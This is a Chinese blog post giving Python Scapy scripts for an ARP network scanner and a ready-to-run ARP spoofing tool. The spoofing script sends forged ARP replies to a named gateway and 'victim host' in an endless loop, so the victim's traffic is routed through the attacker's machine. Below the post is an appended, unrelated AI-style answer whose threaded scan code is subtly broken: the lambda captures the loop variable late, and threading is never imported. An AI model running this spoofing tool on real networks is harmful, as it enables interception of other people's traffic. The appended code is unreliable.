Python Scapy库实现ARP扫描和ARP欺骗

 ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址

from scapy.all import *  
import argparse  
import threading  
import time  
import logging  
  
# 解析CIDR格式的网段,并返回IP地址列表  
# >接受一个CIDR格式的网段作为输入(例如192.168.1.0/24)。
# >将网段解析为IP地址列表。
# >通过子网掩码长度计算IP地址范围,并生成该网段内所有可能的IP地址。
def Parse_IP(targets):  
    """  
    将CIDR格式的网段字符串转换为IP地址列表。  
  
    :param targets: CIDR格式的网段字符串,例如"192.168.1.1/24"  
    :return: IP地址列表  
    """  
    _split = targets.split('/')  # 按斜杠分割字符串,得到网络地址和子网掩码长度  
    first_ip = _split[0]  # 获取网络地址  
    ip_split = first_ip.split('.')  # 按点分割网络地址,得到各部分的数字  
      
    # 生成IP地址范围  
    ipv4 = range(int(ip_split[3]), int(ip_split[3]) + (2 ** (32 - int(_split[1]))))  
      
    # 构建IP地址列表  
    addr = [f"{ip_split[0]}.{ip_split[1]}.{ip_split[2]}.{p}" for p in ipv4]  
    return addr  
  
# 使用ARP协议扫描指定IP地址,查找在线设备  
# >接受一个IP地址作为输入。
# >使用Scapy发送一个ARP请求到这个IP地址,并等待回复
# >如果收到ARP回复,则提取并打印出该IP地址对应的MAC地址
def ARP_Scan(address):  
    """  
    发送ARP请求到指定IP地址,并查找在线设备的MAC地址。  
  
    :param address: 要扫描的IP地址  
    """  
    try:  
        # 发送ARP请求并等待回复,超时时间为5秒  
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)  
          
        # 如果收到回复  
        if ret:  
            # 检查回复是否包含ARP层,并且操作码是否为2(表示ARP回复)  
            if ret.haslayer('ARP') and ret.fields['op'] == 2:  
                # 打印IP地址和对应的MAC地址  
                print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'], ret.fields['hwsrc']))  
    except Exception as e:  
        logging.error(f"An error occurred while scanning IP {address}: {e}")  
        exit(1)  
  
# 程序入口 
# >argparse模块解析命令行参数
# >如果提供了扫描网段参数,则调用Parse_IP函数解析网段,获取IP地址列表
# >每个IP地址创建一个新的线程来执行ARP_Scan函数
if __name__ == "__main__":  
    # 设置Scapy的日志记录级别为ERROR,以减少不必要的输出  
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  
      
    # 创建命令行参数解析器  
    parser = argparse.ArgumentParser()  
    parser.add_argument("-s", "--scan", dest="scan", help="输入一个扫描网段")  
      
    # 解析命令行参数  
    args = parser.parse_args()  
      
    # 如果提供了扫描网段参数  
    if args.scan:  
        # 解析网段并获取IP地址列表  
        addr_list = Parse_IP(args.scan)  
          
        # 创建线程列表  
        threads = []  
          
        # 对每个IP地址启动一个新的扫描线程  
        for item in addr_list:  
            t = threading.Thread(target=ARP_Scan, args=(item,))  
            threads.append(t)  
            t.start()  
          
        # 等待所有线程完成  
        for item in threads:  
            item.join()  
    else:   
        parser.print_help()

ARP欺骗:通过伪造ARP响应来欺骗目标计算机和网关,使它们相信它们正在与对方通信,而实际上所有的通信都经过了攻击者的机器

from scapy.all import *  
import argparse  
import threading, time  
import logging  
  
# 定义SendPayload函数,用于发送ARP欺骗的数据包  
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):  
    # 打印目标MAC地址和目标IP地址,以及发送的数据包数量  
    print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac, tgtIP))  
      
    # 生成并发送第一个ARP数据包,伪造网关的IP和MAC地址,欺骗目标计算机  
    # 使目标计算机认为网关的MAC地址是攻击者的MAC地址  
    sendp(  
        Ether(src=srcMac, dst=tgtMac) /  # 以攻击者的MAC地址作为源MAC,目标计算机的MAC地址作为目的MAC  
        ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2),  # ARP数据包,其中op=2表示ARP回复  
        iface=Interface
    )  
      
    # 生成并发送第二个ARP数据包,伪造目标计算机的IP和MAC地址,欺骗网关  
    # 使网关认为目标计算机的MAC地址是攻击者的MAC地址  
    sendp(  
        Ether(src=srcMac, dst=gateWayMac) /  # 以攻击者的MAC地址作为源MAC,网关的MAC地址作为目的MAC  
        ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), 
        iface=Interface
    )  
  
if __name__ == "__main__":  
    # 创建命令行参数解析器  
    parser = argparse.ArgumentParser()  
    # 接口名 
    parser.add_argument("-i", "--interface", dest="interface", help="输入接口名")  
    # 网关地址
    parser.add_argument("-g", "--gateway", dest="gateway", help="输入网关地址")  
    # 目标主机地址  
    parser.add_argument("-t", "--target", dest="target", help="输入被害主机地址")  
    # 解析命令行参数  
    args = parser.parse_args()  
      
    if args.gateway and args.target:  
        # 通过接口名称获取本机的MAC地址  
        srcMac = get_if_hwaddr(args.interface)  
          
        # 通过目标主机的IP地址获取其MAC地址  
        tgtMac = getmacbyip(args.target)  
          
        # 通过网关的IP地址获取其MAC地址  
        gatewayMac = getmacbyip(args.gateway)  
          
        # 持续发送ARP欺骗数据包  
        while True:  
            # 创建一个新线程来发送ARP欺骗数据包  
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))  
            t.start()  
            t.join()   
            time.sleep(1)  
    else:  
        parser.print_help()

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,你的问题是关于Python3利用Scapy局域网实现自动多线程ARP扫描功能。 首先,你需要安装Scapy,可以使用以下命令: ``` pip install scapy ``` 然后,你可以使用以下Python代码实现ARP扫描功能: ```python from scapy.all import * from threading import Thread def arp_scan(ip): arp = ARP(pdst=ip) ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether/arp result = srp(packet, timeout=3, verbose=0)[0] if result: return {'IP': result[0][1].psrc, 'MAC': result[0][1].hwsrc} else: return {'IP': ip, 'MAC': 'N/A'} def scan_network(target_ip, threads): ips = [target_ip + str(i) for i in range(1, 255)] print("Scanning in progress...") scan_results = [] for ip in ips: t = Thread(target=lambda result_list: result_list.append(arp_scan(ip)), args=(scan_results,)) t.start() if threading.activeCount() > threads: t.join() print("Scan complete.") return scan_results if __name__ == '__main__': target_ip = '192.168.1.' threads = 50 results = scan_network(target_ip, threads) for result in results: print(result['IP'], result['MAC']) ``` 在这个示例中,我们定义了两个函数,arp_scan()和scan_network()。arp_scan()函数用于扫描单个IP地址,并返回IP地址和MAC地址。scan_network()函数用于扫描整个网络,并返回所有扫描结果。 我们还使用了Python的多线程功能来加快扫描速度,并限制了线程数以避免过度消耗系统资源。 最后,我们使用主函数来设置目标IP地址和线程数,然后调用scan_network()函数来执行扫描,并打印扫描结果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值